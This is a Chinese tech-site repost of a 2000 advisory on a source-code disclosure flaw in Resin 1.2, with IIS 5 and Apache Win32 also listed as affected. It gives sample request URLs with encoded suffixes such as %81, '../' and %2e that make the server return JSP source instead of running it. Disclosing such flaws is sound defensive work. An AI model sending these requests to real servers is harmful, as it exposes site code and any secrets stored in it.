繁體中文当前位置: 首页 > 图文教程 > 网络编程 > JSP > Resin 1.2 重要源代码暴露漏洞
- JSP
- 客户端界面中可视化的实现树形框架的设计
- Win2000下JBoss开发环境配置
- 调试处理系统核心文件
- Matrix java 大讲坛 之 可用性与人机界面
- JMX调试----第三方工具使访问更加容易
- 用BSF如何在Java中嵌入javascript以及如何在javascript中
- 再次提醒\" 请不要做浮躁的人\"
- 从Coding Fan到真正的技术专家(cjsdn)
- 数据库BEAN：RESIN连接池
- 基于Java的Web服务器工作原理（一）
- XDE中模式驱动的设计与开发(三)
- 页面流（Page flow）表单验证
- 高级页面流（Page flow）：嵌套、异常处理和 Global.app
- 请不要做浮躁的人(ZT-必读)
- 解决日期选择问题，一劳永逸（使用Decorator模式实现日期选择组件）（二）
- 解决日期选择问题，一劳永逸（使用Decorator模式实现日期选择组件）（三）
- 解决日期选择问题，一劳永逸（使用Decorator模式实现日期选择组件）（四）
- 解决日期选择问题，一劳永逸（使用Decorator模式实现日期选择组件）（五）
- EJB技术之旅（一）
- MVC渐行渐进（二）
JSP 中的 Resin 1.2 重要源代码暴露漏洞
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-11-02 浏览: 42 ::
收藏到网摘: n/a
class Input Validation Error
cve GENERIC-MAP-NOMATCH
remote Yes
local Yes
published November 23, 2000
updated November 23, 2000
vulnerable Caucho Technology Resin 1.2
- Microsoft IIS 5.0
+ Microsoft Windows NT 2000
- Apache Group Apache 1.3.6win32
Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81
Resin Web Server:
../
Example: http://target/filename.jsp../
IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp
评论 (0) All
